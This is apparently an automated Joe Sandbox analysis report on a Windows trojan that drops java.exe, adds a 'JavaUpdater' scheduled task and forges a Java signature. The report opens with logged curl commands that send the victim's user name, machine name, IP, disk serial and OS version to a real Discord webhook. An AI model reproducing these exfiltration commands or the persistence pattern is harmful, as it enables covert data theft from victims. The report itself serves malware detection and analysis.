Source: C:\Users\user\AppData\Local\java.exe	Process created: C:\Windows\System32\curl.exe curl -h "content-type: application/json" -x post -d "{\"embeds\":[{\"color\":16711680,\"fields\":[{\"inline\":false,\"name\":\"local user\",\"value\":\"user\"},{\"inline\":false,\"name\":\"system name\",\"value\":\"571345\"},{\"inline\":false,\"name\":\"ip address\",\"value\":\"8.46.123.189\"},{\"inline\":false,\"name\":\"serial number\",\"value\":\"c6553afb\"},{\"inline\":false,\"name\":\"product version\",\"value\":\"windows 6.2 (build 9200)\"},{\"inline\":false,\"name\":\"drives\",\"value\":\"c: (local) d: (cd-rom)\"}],\"footer\":{\"text\":\"new client\"},\"timestamp\":\"2024-12-30t11:32:27.000z\"}]}" https://discord.com/api/webhooks/1321328602792460330/q9cqmuqhpmnla8ycgfiwcn1qsmd8szezhv5rcfriuyx8uwu2bsg3fdw4gr1c7avhjqhm
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Process created: C:\Windows\System32\curl.exe curl -h "content-type: application/json" -x post -d "{\"embeds\":[{\"color\":16711680,\"fields\":[{\"inline\":false,\"name\":\"local user\",\"value\":\"user\"},{\"inline\":false,\"name\":\"system name\",\"value\":\"571345\"},{\"inline\":false,\"name\":\"ip address\",\"value\":\"8.46.123.189\"},{\"inline\":false,\"name\":\"serial number\",\"value\":\"c6553afb\"},{\"inline\":false,\"name\":\"product version\",\"value\":\"windows 6.2 (build 9200)\"},{\"inline\":false,\"name\":\"drives\",\"value\":\"c: (local) d: (cd-rom)\"}],\"footer\":{\"text\":\"new client\"},\"timestamp\":\"2024-12-30t11:32:25.000z\"}]}" https://discord.com/api/webhooks/1321328602792460330/q9cqmuqhpmnla8ycgfiwcn1qsmd8szezhv5rcfriuyx8uwu2bsg3fdw4gr1c7avhjqhm	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Process created: C:\Windows\System32\curl.exe curl -h "content-type: application/json" -x post -d "{\"embeds\":[{\"color\":16711680,\"fields\":[{\"inline\":false,\"name\":\"local user\",\"value\":\"user\"},{\"inline\":false,\"name\":\"system name\",\"value\":\"571345\"},{\"inline\":false,\"name\":\"ip address\",\"value\":\"8.46.123.189\"},{\"inline\":false,\"name\":\"serial number\",\"value\":\"c6553afb\"},{\"inline\":false,\"name\":\"product version\",\"value\":\"windows 6.2 (build 9200)\"},{\"inline\":false,\"name\":\"drives\",\"value\":\"c: (local) d: (cd-rom)\"}],\"footer\":{\"text\":\"new client\"},\"timestamp\":\"2024-12-30t11:32:27.000z\"}]}" https://discord.com/api/webhooks/1321328602792460330/q9cqmuqhpmnla8ycgfiwcn1qsmd8szezhv5rcfriuyx8uwu2bsg3fdw4gr1c7avhjqhm	Jump to behavior

Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe

Code function: 0_2_00007FF670FCE20C GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF670FCE20C

Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe

Code function: 0_2_00007FF670FC7E10 GetUserNameW,GetComputerNameW,GetVolumeInformationW,memset,GetVersionExW,GetModuleHandleW,GetProcAddress,_invalid_parameter_noinfo_noreturn,

0_2_00007FF670FC7E10

Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe

Code function: 0_2_00007FF670FC7E10 GetUserNameW,GetComputerNameW,GetVolumeInformationW,memset,GetVersionExW,GetModuleHandleW,GetProcAddress,_invalid_parameter_noinfo_noreturn,

0_2_00007FF670FC7E10

Source: Jx6bD8nM4qW9sL3v.exe, java.exe

Binary or memory string: ollydbg.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Command and Scripting Interpreter	1 Scheduled Task/Job	11 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	11 Virtualization/Sandbox Evasion	LSASS Memory	431 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	1 DLL Side-Loading	11 Process Injection	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Exploitation for Client Execution	Login Hook	Login Hook	1 Indicator Removal	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 File and Directory Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	13 System Information Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Jx6bD8nM4qW9sL3v.exe	47%	ReversingLabs	Win64.Trojan.Generic
Jx6bD8nM4qW9sL3v.exe	54%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\java.exe	47%	ReversingLabs	Win64.Trojan.Generic

Source	Detection	Scanner	Label
https://api.ipify.org~	0%	Avira URL Cloud	safe
https://api.ipify.org2	0%	Avira URL Cloud	safe
http://crl.se1	0%	Avira URL Cloud	safe
https://api.ipify.org9	0%	Avira URL Cloud	safe
https://api.ipify.orgL	0%	Avira URL Cloud	safe
https://api.ipify.orgWinsta0	0%	Avira URL Cloud	safe
https://api.ipify.orgcurl	0%	Avira URL Cloud	safe
https://api.ipify.org7	0%	Avira URL Cloud	safe
https://api.ipify.orgvB	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
discord.com	162.159.128.233	true	false		high
api.ipify.org	104.26.12.205	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high
https://discord.com/api/webhooks/1321328602792460330/Q9CQMUqhPmnLA8YCGFiWcN1qsmd8SzEzHV5RcFrIuYx8UWU2bSG3fdw4gr1C7AVhJQhm	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://discord.com/api/webhooks/1321328602792460330/Q9CQMUqhPmnLA8YCGFiWcN1qsmd8SzEzHV5RcFrIuYx8UWU	curl.exe, 0000000A.00000002.2059832303.00000269500E8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	Jx6bD8nM4qW9sL3v.exe, java.exe.0.dr	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	Jx6bD8nM4qW9sL3v.exe, java.exe.0.dr	false		high
https://api.ipify.orgcurl	Jx6bD8nM4qW9sL3v.exe, java.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://ocsp.sectigo.com0	Jx6bD8nM4qW9sL3v.exe, java.exe.0.dr	false		high
https://api.ipify.org7	curl.exe, 00000003.00000002.2025529355.0000018EE9648000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000003.00000003.2025355988.0000018EE9645000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ipify.org2	java.exe, 00000006.00000002.2060240613.0000022751ECB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ipify.org?	curl.exe, 00000003.00000002.2025529355.0000018EE9648000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000003.00000003.2025355988.0000018EE9645000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.ipify.orgWinsta0	curl.exe, 00000003.00000002.2025529355.0000018EE9630000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ipify.org~	java.exe, 00000006.00000002.2060240613.0000022751EEB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ipify.org9	Jx6bD8nM4qW9sL3v.exe, 00000000.00000002.2034490132.000002597BC07000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.se1	Jx6bD8nM4qW9sL3v.exe, 00000000.00000003.2018730241.000002597BC1B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicTime	Jx6bD8nM4qW9sL3v.exe, 00000000.00000003.2018730241.000002597BC1B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	Jx6bD8nM4qW9sL3v.exe, java.exe.0.dr	false		high
https://api.ipify.org	curl.exe, 00000009.00000002.2051339309.000002C6CC54A000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000002.2051301631.000002C6CC510000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000003.2051239188.000002C6CC527000.00000004.00000020.00020000.00000000.sdmp, Jx6bD8nM4qW9sL3v.exe, java.exe.0.dr	false		high
https://api.ipify.orgL	curl.exe, 00000009.00000002.2051301631.000002C6CC510000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://discord.com/api/webhooK	curl.exe, 00000005.00000002.2033796989.0000015BFD279000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000A.00000003.2059642518.00000269500F2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	Jx6bD8nM4qW9sL3v.exe, java.exe.0.dr	false		high
https://api.ipify.org/Item	curl.exe, 00000003.00000002.2025529355.0000018EE9637000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.ipify.orgvB	curl.exe, 00000009.00000003.2051214870.000002C6CC524000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000002.2051327029.000002C6CC528000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000003.2051239188.000002C6CC527000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicTimeStampingRootI	Jx6bD8nM4qW9sL3v.exe, 00000000.00000002.2034490132.000002597BC07000.00000004.00000020.00020000.00000000.sdmp, Jx6bD8nM4qW9sL3v.exe, 00000000.00000003.2018730241.000002597BC1B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	Jx6bD8nM4qW9sL3v.exe, java.exe.0.dr	false		high
https://api.ipify.orgwinsta0	curl.exe, 00000009.00000002.2051301631.000002C6CC510000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.26.12.205	api.ipify.org	United States		13335	CLOUDFLARENETUS	false
162.159.128.233	discord.com	United States		13335	CLOUDFLARENETUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582327
Start date and time:	2024-12-30 11:13:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Jx6bD8nM4qW9sL3v.exe
Detection:	MAL
Classification:	mal76.expl.evad.winEXE@16/4@2/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 38 Number of non-executed functions: 68
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information

Simulations

Behavior and APIs

Time	Type	Description
11:13:54	Task Scheduler	Run new task: JavaUpdater path: C:\Users\user\AppData\Local\java.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.26.12.205	jgbC220X2U.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=text
	xKvkNk9SXR.exe	Get hash	malicious	TrojanRansom	Browse	api.ipify.org/
	GD8c7ARn8q.exe	Get hash	malicious	TrojanRansom	Browse	api.ipify.org/
	8AbMCL2dxM.exe	Get hash	malicious	RCRU64, TrojanRansom	Browse	api.ipify.org/
	Simple2.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	Ransomware Mallox.exe	Get hash	malicious	Targeted Ransomware	Browse	api.ipify.org/
	Yc9hcFC1ux.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	6706e721f2c06.exe	Get hash	malicious	Remcos	Browse	api.ipify.org/
	perfcc.elf	Get hash	malicious	Xmrig	Browse	api.ipify.org/
	SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
162.159.128.233	file.exe	Get hash	malicious	LummaC, Glupteba, PureLog Stealer, RisePro Stealer, SmokeLoader, Stealc, zgRAT	Browse	discord.com/phpMyAdmin/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	dsoft.exe	Get hash	malicious	Python Stealer, Creal Stealer	Browse	104.26.13.205
	soft 1.14.exe	Get hash	malicious	Meduza Stealer	Browse	104.26.13.205
	markiz.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	utkin.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	https://www.canva.com/design/DAGaHpv1g1M/bVE7B2sT8b8T3P-e2xb64w/view?utm_content=DAGaHpv1g1M&utm_campaign=designshare&utm_medium=link2&utm_source=uniquelinks&utlId=h1ee3678e45	Get hash	malicious	HTMLPhisher	Browse	104.26.12.205
	https://mandrillapp.com/track/click/30363981/app.salesforceiq.com?p=eyJzIjoiQ21jNldfVTIxTkdJZi1NQzQ1SGE3SXJFTW1RIiwidiI6MSwicCI6IntcInVcIjozMDM2Mzk4MSxcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL2FwcC5zYWxlc2ZvcmNlaXEuY29tXFxcL3I_dD1BRndoWmYwNjV0QlFRSnRiMVFmd1A1dC0tMHZnQkowaF9lYklFcTVLRlhTWHFVWmFpNUo4RlFTd1dycTkzR1FPbEFuczlLREd2VzRJQ2Z2eGo4WjVDSkQxUTlXdDVvME5XNWMwY0tIaXpVQWJ1YnBhT2dtS2pjVkxkaDFZWE8ybklsdFRlb2VQZ2dVTCZ0YXJnZXQ9NjMxZjQyMGVlZDEzY2EzYmNmNzdjMzI0JnVybD1odHRwczpcXFwvXFxcL21haW4uZDNxczBuMG9xdjNnN28uYW1wbGlmeWFwcC5jb21cIixcImlkXCI6XCI5ZTdkODJiNWQ0NzA0YWVhYTQ1ZjkxY2Y0ZTFmNGRiMFwiLFwidXJsX2lkc1wiOltcImY5ODQ5NWVhMjMyYTgzNjg1ODUxN2Y4ZTRiOTVjZjg4MWZlODExNmJcIl19In0	Get hash	malicious	Unknown	Browse	104.26.12.205
	Ref#20203216.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	tg.exe	Get hash	malicious	Babadeda	Browse	172.67.74.152
	tg.exe	Get hash	malicious	Babadeda	Browse	104.26.12.205
	setup.exe	Get hash	malicious	Babadeda	Browse	104.26.13.205
discord.com	dsoft.exe	Get hash	malicious	Python Stealer, Creal Stealer	Browse	162.159.138.232
	DHL AWB-documents.lnk	Get hash	malicious	Divulge Stealer	Browse	162.159.138.232
	http://mee6.xyz	Get hash	malicious	Unknown	Browse	162.159.138.232
	YF3YnL4ksc.exe	Get hash	malicious	Unknown	Browse	162.159.136.232
	YF3YnL4ksc.exe	Get hash	malicious	Unknown	Browse	162.159.136.232
	arm.elf	Get hash	malicious	Unknown	Browse	162.159.137.232
	webhook.exe	Get hash	malicious	Unknown	Browse	162.159.138.232
	zapret.exe	Get hash	malicious	Unknown	Browse	162.159.136.232
	Bloxflip Predictor.exe	Get hash	malicious	Njrat	Browse	162.159.137.232
	chos.exe	Get hash	malicious	Unknown	Browse	162.159.138.232

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Airway bill details - Delivery receipt Contact Form no_45987165927 ,pdf.scr.exe	Get hash	malicious	DBatLoader, FormBook	Browse	188.114.97.3
	Requested Documentation.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	6QLvb9i.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	http://i646972656374o6c6373o636f6dz.oszar.com/	Get hash	malicious	Unknown	Browse	104.16.79.73
	securedoc_20241220T111852.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://visa-pwr.com/	Get hash	malicious	Unknown	Browse	104.18.28.104
	lumma.ps1	Get hash	malicious	LummaC	Browse	104.21.72.190
	vlid_acid.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.190.223
	sysmonconfig.xml	Get hash	malicious	Unknown	Browse	172.64.41.3
CLOUDFLARENETUS	Airway bill details - Delivery receipt Contact Form no_45987165927 ,pdf.scr.exe	Get hash	malicious	DBatLoader, FormBook	Browse	188.114.97.3
	Requested Documentation.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	6QLvb9i.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	http://i646972656374o6c6373o636f6dz.oszar.com/	Get hash	malicious	Unknown	Browse	104.16.79.73
	securedoc_20241220T111852.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://visa-pwr.com/	Get hash	malicious	Unknown	Browse	104.18.28.104
	lumma.ps1	Get hash	malicious	LummaC	Browse	104.21.72.190
	vlid_acid.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.190.223
	sysmonconfig.xml	Get hash	malicious	Unknown	Browse	172.64.41.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
74954a0c86284d0d6e1c4efefe92b521	dsoft.exe	Get hash	malicious	Python Stealer, Creal Stealer	Browse	104.26.12.205 162.159.128.233
	Canvas of Kings_N6xC-S2.exe	Get hash	malicious	Unknown	Browse	104.26.12.205 162.159.128.233
	Violated Heroine_91zbZ-1.exe	Get hash	malicious	Unknown	Browse	104.26.12.205 162.159.128.233
	58VSNPxrI4.exe	Get hash	malicious	Unknown	Browse	104.26.12.205 162.159.128.233
	676556be12ac3.vbs	Get hash	malicious	Mint Stealer	Browse	104.26.12.205 162.159.128.233
	PKO_0019289289544_PDF_#U2463#U2466#U2465#U2462#U2461#U2466#U2464#U2462.hta	Get hash	malicious	Mint Stealer	Browse	104.26.12.205 162.159.128.233
	9KEZfGRjyK.exe	Get hash	malicious	Unknown	Browse	104.26.12.205 162.159.128.233
	9KEZfGRjyK.exe	Get hash	malicious	Unknown	Browse	104.26.12.205 162.159.128.233
	Hkeyboard.dll	Get hash	malicious	Unknown	Browse	104.26.12.205 162.159.128.233
	67618a47ee8c5.vbs	Get hash	malicious	Mint Stealer	Browse	104.26.12.205 162.159.128.233

Process:	C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	290944
Entropy (8bit):	6.314868285664843
Encrypted:	false
SSDEEP:	3072:Ls+53MFulvntAJ7G9bYYfXgzaDiAMwys4NFiBCIuvAxs1Iso91l4HFiijaQr1B59:LbntAJ7G9b3IIyJXhEwDFwlKzFs0
MD5:	E181EB699888D8BBBE0B89D41DF77678
SHA1:	9A500DEADF901DFB3F63DF1AB2CBC679B27FC660
SHA-256:	86C52E999CFD2243EA8E81E6FF8B1C6E15EE176807C7911D5A000341200EB757
SHA-512:	11E2562B7848F3463B88A741BF5967467B343FA75458FFCD88E230FA6C1D1E1A0329A7C6092848E4C0AB40EC8E770001F94AD92996F691FE27C9D4C51C2FDB9B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........@8.P!V.P!V.P!V.YY.^!V.A.U.T!V.A.R.Z!V.A.S.r!V.A.W.V!V..YP.R!V..YW.C!V.P!W..!V.._.T!V....Q!V.P!..Q!V..T.Q!V.RichP!V.................PE..d.....kg.........."....*.....j.................@..........................................`.................................................,M.......................T.......p......P...8...............................@............................................text............................... ..`.rdata...i.......j..................@..@.data........p.......Z..............@....pdata...............d..............@..@.rsrc................r..............@..@.reloc.......p.......R..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\java.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\java.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	428
Entropy (8bit):	3.2974732613601674
Encrypted:	false
SSDEEP:	6:LOtEswj2SAykymUef/Ff/8UniehCSgOgcdSgOgcuF/vEVvqF//NNlgOgK6n:LOtEz6ykymUe2bwc9cL9cuNkyN7y9t
MD5:	2081808514978CF8CF2DDEE073D5DDBD
SHA1:	2A655E0F399EF7838B1395EE92B6CFFE879A9A0E
SHA-256:	E8F77474AA788475DB0574EDFCD4F5D63B419D73876E75B0006D3F819D21678A
SHA-512:	700EEDD649A8B35BB7FD074F9ABF39629485A76A59BF64BC9E792E0308028067AA08F9C3F693BC77E43EB45F663B367240CBEF72C6613B9B42EDB34E7F99113F
Malicious:	false
Preview:	Webhook sent. Response: % Total % Received % Xferd Average Speed Time Time Time Current... Dload Upload Total Spent Left Speed.... 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0. 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0.100 483 0 0 100 483 0 633 --:--:-- --:--:-- --:--:-- 633.....

Static File Info

General

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	6.314868285664843
TrID:	Win64 Executable Console (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Jx6bD8nM4qW9sL3v.exe
File size:	290'944 bytes
MD5:	e181eb699888d8bbbe0b89d41df77678
SHA1:	9a500deadf901dfb3f63df1ab2cbc679b27fc660
SHA256:	86c52e999cfd2243ea8e81e6ff8b1c6e15ee176807c7911d5a000341200eb757
SHA512:	11e2562b7848f3463b88a741bf5967467b343fa75458ffcd88e230fa6c1d1e1a0329a7c6092848e4c0ab40ec8e770001f94ad92996f691fe27c9d4c51c2fdb9b
SSDEEP:	3072:Ls+53MFulvntAJ7G9bYYfXgzaDiAMwys4NFiBCIuvAxs1Iso91l4HFiijaQr1B59:LbntAJ7G9b3IIyJXhEwDFwlKzFs0
TLSH:	185443D23051409AE46765F2AE4ECE20619A39DE92B5C74E36D3AB2FCBC33511477B0B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........@8.P!V.P!V.P!V.YY..^!V.A.U.T!V.A.R.Z!V.A.S.r!V.A.W.V!V..YP.R!V..YW.C!V.P!W..!V..._.T!V.....Q!V.P!..Q!V...T.Q!V.RichP!V........

File Icon


Icon Hash:	928a8e8ea68e8ea2

Static PE Info

General

Entrypoint:	0x14000dd98
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x676BA8A7 [Wed Dec 25 06:39:35 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	6d5db8024793ecbed51b9c77c74726e2

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=JavaPlatformSE, O=Java Platform SE, L=Redmond, S=Washington, C=US
Signature Validation Error:	The signature of the certificate cannot be verified
Error Number:	-2146869244
Not Before, Not After	25/12/2024 07:40:33 27/01/2026 07:40:33
Subject Chain	CN=JavaPlatformSE, O=Java Platform SE, L=Redmond, S=Washington, C=US
Version:	1
Thumbprint MD5:	443C2AE946511AE073AD36F7AF2A47C3
Thumbprint SHA-1:	A3D5999CD617AB15070F1E9FE40600BF2273A96D
Thumbprint SHA-256:	F243A8747E38EE617248E0365EF58B0A7C70A3083754DD87A8D200E12D516983
Serial:	01

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F5508534BE0h
dec eax
add esp, 28h
jmp 00007F55085345E7h
int3
int3
dec eax
sub esp, 28h
call 00007F5508535238h
test eax, eax
je 00007F5508534793h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007F5508534777h
dec eax
cmp ecx, eax
je 00007F5508534786h
xor eax, eax
dec eax
cmpxchg dword ptr [00009B20h], ecx
jne 00007F5508534760h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007F5508534769h
int3
int3
int3
dec eax
sub esp, 28h
test ecx, ecx
jne 00007F5508534779h
mov byte ptr [00009B09h], 00000001h
call 00007F5508534F25h
call 00007F5508534C4Ch
test al, al
jne 00007F5508534776h
xor al, al
jmp 00007F5508534786h
call 00007F5508534C3Fh
test al, al
jne 00007F550853477Bh
xor ecx, ecx
call 00007F5508534C34h
jmp 00007F550853475Ch
mov al, 01h
dec eax
add esp, 28h
ret
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
cmp byte ptr [00009AD0h], 00000000h
mov ebx, ecx
jne 00007F55085347D9h
cmp ecx, 01h
jnbe 00007F55085347DCh
call 00007F55085351AEh
test eax, eax
je 00007F550853479Ah
test ebx, ebx
jne 00007F5508534796h
dec eax
lea ecx, dword ptr [00009ABAh]
call 00007F55085352E1h
test eax, eax
jne 00007F5508534782h
dec eax
lea ecx, dword ptr [00009AC2h]
call 00007F55085347D1h

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x14d2c	0x190	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x19000	0x2dea8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x18000	0xd8c	.pdata
